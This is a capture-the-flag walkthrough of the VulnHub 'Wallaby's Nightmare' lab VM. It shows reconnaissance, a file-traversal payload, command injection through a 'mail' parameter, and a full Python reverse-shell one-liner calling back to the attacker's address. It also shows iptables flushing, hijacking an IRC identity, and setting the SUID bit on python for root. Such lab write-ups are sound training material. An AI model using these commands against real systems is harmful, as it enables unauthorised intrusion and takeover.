This is a walkthrough of the Wallaby’s: Nightmare VM from VulnHub (https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/)
First, I needed to locate the box. This was pretty simply since my subnet is setup for DHCP on the 192.168.56.0/24 range.
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.103 08:00:27:66:18:7b 1 60 PCS Systemtechnik GmbH
I added the target VMs ip as “target” to my /etc/hosts file and then did a standard nmap service scan.
root@kali:~# nmap -sV -Pn -n target Nmap scan report for target (192.168.56.103) Host is up (0.00011s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 6667/tcp filtered irc
So thats interesting, SSH and HTTP, and an IRC server (maybe) that I cannot connect to.
I checked the SSH port for a banner, but it did not have one. That left me with port 80 as the only option to explore:
On visiting the target website, I am greeted with a capture portal wanting me to fill in a username:
Here is the greeting page after picking a username:
And finally the final clickable link web-page.
Lets run Nikto against this and see what we find:
root@kali:~# nikto -host target - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.56.103 + Target Hostname: target + Target Port: 80 + Start Time: 2017-02-15 23:29:01 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php) + Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 + OSVDB-3233: /icons/README: Apache default file found. + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected + Scan terminated: 20 error(s) and 7 item(s) reported on remote host + End Time: 2017-02-15 23:29:13 (GMT-5) (12 seconds) ---------------------------------------------------------------------------
You can see that Nikto found a file traversal vulnerability, so lets try it out. When trying to visit http://target/?page=../../../../../../../../../../etc/passwd to confirm, I was met with no response from the server at all.
A re-run of Nmap did not return anything on port 80, and no new ports.
Lets try a scan of all the ports!
root@kali:~# nmap -sS -Pn -n target -p 1-65535 Nmap scan report for target (192.168.56.103) Host is up (0.000055s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 6667/tcp filtered irc 60080/tcp open unknown
So we’ve got 60080 open. I didn’t scan that port originally, so I hit it with a service scan:
root@kali:~# nmap -sV -Pn -n target -p 60080 Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-15 23:42 EST Nmap scan report for target (192.168.56.103) Host is up (0.00021s latency). PORT STATE SERVICE VERSION 60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
On visiting the website, I am greeted with a new page. There are some definite commonalities between this one and the old one though. It had the same version as the old service, and it seems to have retained my username.
Trying out the same vulnerability for file traversal results in success this time!
It looks like there are valid users named “walfin”, “steven?”, and “ircd”, but the note about dis-information is pretty odd.
Unfortunately though, the next file I tried to view resulted in a patch being deployed.
The next tool I’m going to use is dirb.
root@kali:~# dirb http://target:60080/index.php?page= ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Feb 15 23:54:43 2017 URL_BASE: http://target:60080/index.php?page= WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://target:60080/index.php?page= ---- + http://target:60080/index.php?page=.git/HEAD (CODE:200|SIZE:902) + http://target:60080/index.php?page=.svn/entries (CODE:200|SIZE:902) + http://target:60080/index.php?page=_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:902) + http://target:60080/index.php?page=_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:902) + http://target:60080/index.php?page=_vti_bin/shtml.dll (CODE:200|SIZE:902) + http://target:60080/index.php?page=cgi-bin/ (CODE:200|SIZE:902) + http://target:60080/index.php?page=contact (CODE:200|SIZE:895) + http://target:60080/index.php?page=CVS/Entries (CODE:200|SIZE:902) + http://target:60080/index.php?page=CVS/Repository (CODE:200|SIZE:902) + http://target:60080/index.php?page=CVS/Root (CODE:200|SIZE:902) + http://target:60080/index.php?page=home (CODE:200|SIZE:1149) + http://target:60080/index.php?page=index (CODE:200|SIZE:1364) + http://target:60080/index.php?page=mailer (CODE:200|SIZE:1087) ----------------- END_TIME: Wed Feb 15 23:54:45 2017 DOWNLOADED: 4612 - FOUND: 13
It looks like most of those entries tripped the “patch”. I can somewhat infer the patch is actually just looking for the “/” character. I’ll keep that in mind in-case I want to try and work out another file traversal trick. First though, lets visit the valid pages we did discover: mailer, index, home, and contact.
home and index turned out to be already visited pages. contact had no useful information on it. http://target: 60080/index.php?page=mailer however…
This mailer line is SUPER interesting.
mail is a CLI command. I tested it out with an id, and it worked! Oh good!
http://target:60080/index.php?page=mailer&mail=id
Since I have execution, lets check out running processes with a “ps -efH”
UID PID PPID C STIME TTY TIME CMD <snip> root 1 0 0 12:59 ? 00:00:01 /sbin/init noprompt root 325 1 0 12:59 ? 00:00:00 /lib/systemd/systemd-journald root 367 1 0 12:59 ? 00:00:00 /lib/systemd/systemd-udevd systemd+ 431 1 0 12:59 ? 00:00:00 /lib/systemd/systemd-timesyncd root 638 1 0 12:59 ? 00:00:00 /usr/sbin/cron -f syslog 639 1 0 12:59 ? 00:00:00 /usr/sbin/rsyslogd -n root 640 1 0 12:59 ? 00:00:00 /lib/systemd/systemd-logind root 641 1 0 12:59 ? 00:00:00 /usr/lib/accountsservice/accounts-daemon message+ 642 1 0 12:59 ? 00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation root 679 1 0 12:59 tty1 00:00:00 /sbin/agetty --noclear tty1 linux waldo 752 1 0 12:59 ? 00:00:00 tmux new-session -d -s irssi waldo 753 752 0 12:59 pts/0 00:00:00 -sh waldo 760 753 0 12:59 pts/0 00:00:00 irssi root 801 1 0 12:59 ? 00:00:00 /sbin/dhclient root 820 1 0 12:59 ? 00:00:00 /usr/sbin/sshd -D sopel 826 1 0 12:59 ? 00:00:00 /usr/bin/python3 /usr/bin/sopel -c /etc/sopel.cfg mysql 848 1 0 12:59 ? 00:00:02 /usr/sbin/mysqld ircd 864 1 0 12:59 ? 00:00:05 /home/ircd/Unreal3.2.10.4/src/ircd root 899 1 0 12:59 ? 00:00:00 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf) www-data 901 899 0 12:59 ? 00:00:00 php-fpm: pool www www-data 902 899 0 12:59 ? 00:00:00 php-fpm: pool www wallaby 964 1 0 12:59 ? 00:00:00 /usr/bin/python3 /usr/bin/sopel -d --quiet root 1853 1 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1856 1853 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1857 1853 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1858 1853 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1859 1853 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1959 1859 0 15:02 ? 00:00:00 sh -c ps -efH www-data 1960 1959 0 15:02 ? 00:00:00 ps -efH www-data 1860 1853 0 14:29 ? 00:00:00 /usr/sbin/apache2 -k start www-data 1937 1853 0 14:42 ? 00:00:00 /usr/sbin/apache2 -k start
Here are the lines that immediately pop out at me:
waldo 752 1 0 12:59 ? 00:00:00 tmux new-session -d -s irssi waldo 753 752 0 12:59 pts/0 00:00:00 -sh waldo 760 753 0 12:59 pts/0 00:00:00 irssi sopel 826 1 0 12:59 ? 00:00:00 /usr/bin/python3 /usr/bin/sopel -c /etc/sopel.cfg ircd 864 1 0 12:59 ? 00:00:05 /home/ircd/Unreal3.2.10.4/src/ircd wallaby 964 1 0 12:59 ? 00:00:00 /usr/bin/python3 /usr/bin/sopel -d --quiet
These are the processes related to the IRC server running on the box. I’ll want to check them out when I have a shell.
At this point, Im going to try and get a reverse shell into the box.
First I tried a known ubuntu callback, but it didnt work:
Next I tried a python callback, since I knew it was installed on the box from my “ps” output. The shell is from pentestmonkey. I tweaked it a little for /bin/bash instead of /bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
And I’m in! First thing I always check is my sudo permissions:
www-data@ubuntu:/var/www/html$ sudo -l sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu: (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf (ALL) NOPASSWD: /sbin/iptables www-data@ubuntu:/var/www/html$
Well since I have control over iptables, lets lower the shields and investigate the IRC server running port 6667.
www-data@ubuntu:/tmp$ sudo iptables -nvL Chain INPUT (policy ACCEPT 9654 packets, 697K bytes) pkts bytes target prot opt in out source destination 174 11567 ACCEPT tcp -- * * 127.0.0.1 0.0.0.0/0 tcp dpt:6667 2 88 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:6667 Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 9727 packets, 745K bytes) pkts bytes target prot opt in out source destination www-data@ubuntu:/tmp$ www-data@ubuntu:/tmp$ sudo iptables -F www-data@ubuntu:/tmp$ sudo iptables -nvL Chain INPUT (policy ACCEPT 4 packets, 227 bytes) pkts bytes target prot opt in out source destination Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 3 packets, 197 bytes) pkts bytes target prot opt in out source destination
Since the chains were set to default ACCEPT, I just flushed out the rules to let myself in.
I started up HexChat, added the target VM as a server and joined
I want to make an important note here. I changed the channel options to view from 1-9999 users. By default, HexChat only shows channels with >=5 users, so be careful there.
Now lets see what the bot can do. You can tell from my screenshot I hit the command-list from guessing.
For non-guessing: https://github.com/sopel-irc/sopel/wiki/Commands
Theres a very tempting command named “run”, but when I try to run it the bot complains that I’m not waldo. I tried renaming to “Waldoo” but it didnt buy it 🙁
Well, remember I control iptables, which means I can control connections to the machine. This includes 127.0.0.1 local connections, so I can muscle waldo off the server.
I whois both waldo and the bot, because I want to see who joined the server first. Next, I check netstat for connections to port 6667
* [waldo] (waldo@wallaby-DCED2AAD): waldo * [waldo] @#wallabyschat * [waldo] wallaby.fake.server :Wallabys Personal IRC Server * [waldo] idle 00:38:47, signon: Wed Feb 15 18:44:53 * [waldo] End of WHOIS list. * [wallabysbot] (sopel@wallaby-DCED2AAD): Sopel: http://sopel.chat * [wallabysbot] #wallabyschat * [wallabysbot] wallaby.fake.server :Wallabys Personal IRC Server * [wallabysbot] is a Bot on WallabyNet * [wallabysbot] idle 00:03:46, signon: Wed Feb 15 18:44:59 * [wallabysbot] End of WHOIS list. www-data@ubuntu:/tmp$ netstat -pant | grep 6667 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN - tcp 0 0 192.168.56.103:6667 192.168.56.102:39182 ESTABLISHED - tcp 0 0 127.0.0.1:35040 127.0.0.1:6667 ESTABLISHED - tcp 0 0 127.0.0.1:6667 127.0.0.1:35036 ESTABLISHED - tcp 0 0 127.0.0.1:6667 127.0.0.1:35034 ESTABLISHED - tcp 0 0 127.0.0.1:35034 127.0.0.1:6667 ESTABLISHED - tcp 0 0 127.0.0.1:35036 127.0.0.1:6667 ESTABLISHED - tcp 0 0 127.0.0.1:6667 127.0.0.1:35040 ESTABLISHED -
I add a drop rule targeting the lowest ephemeral high port, since that should be the first person to join the server:
www-data@ubuntu:/tmp$ sudo iptables -A OUTPUT -p tcp --sport 35034 -j DROP
I wait about three minutes, and I see waldo disappear >:D
As waldo, I run .run and I get a FileNotFound error from the bot.
Well, lets check our sudo and id permissions.
well adm group sure looks promising. Since .run wants a file, I created a file with these contents in it:
#!/bin/bash
sudo -l
Unlimited sudo permissions? Too easy. Simply modify your next script to apply the suid-bit to the python executable:
#!/bin/bash
sudo chmod 4777 /usr/bin/python2.7
www-data@ubuntu:/tmp$ ls -al /usr/bin/python2.7 ls -al /usr/bin/python2.7 -rwsrwxrwx 1 root root 3546104 Nov 19 01:35 /usr/bin/python2.7 www-data@ubuntu:/tmp$ python -c "import os; os.setuid(0); os.system('/bin/bash')"
This dropped me into a root shell, and I quickly found the flag:
$ id uid=0(root) gid=33(www-data) groups=33(www-data) $ cd /root $ ls -al total 48 drwx------ 4 root root 4096 Dec 27 19:31 . drwxr-xr-x 22 root root 4096 Dec 14 19:24 .. -rw------- 1 root root 1 Dec 27 12:26 .bash_history -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc -rw------- 1 root root 18 Dec 15 13:03 .mysql_history drwxr-xr-x 2 root root 4096 Dec 15 13:10 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 66 Dec 15 17:50 .selected_editor -rw-r--r-- 1 root root 214 Dec 16 17:09 .wget-hsts drwxr-xr-x 2 root root 4096 Dec 27 11:27 backups -rwxr-xr-x 1 root root 510 Dec 27 19:31 check_level.sh -rw-r--r-- 1 root root 342 Dec 16 16:52 flag.txt $ cat flag.txt ###CONGRATULATIONS### You beat part 1 of 2 in the "Wallaby's Worst Knightmare" series of vms!!!! This was my first vulnerable machine/CTF ever! I hope you guys enjoyed playing it as much as I enjoyed making it! Come to IRC and contact me if you find any errors or interesting ways to root, I'd love to hear about it. Thanks guys! -Waldo
Mission accomplished.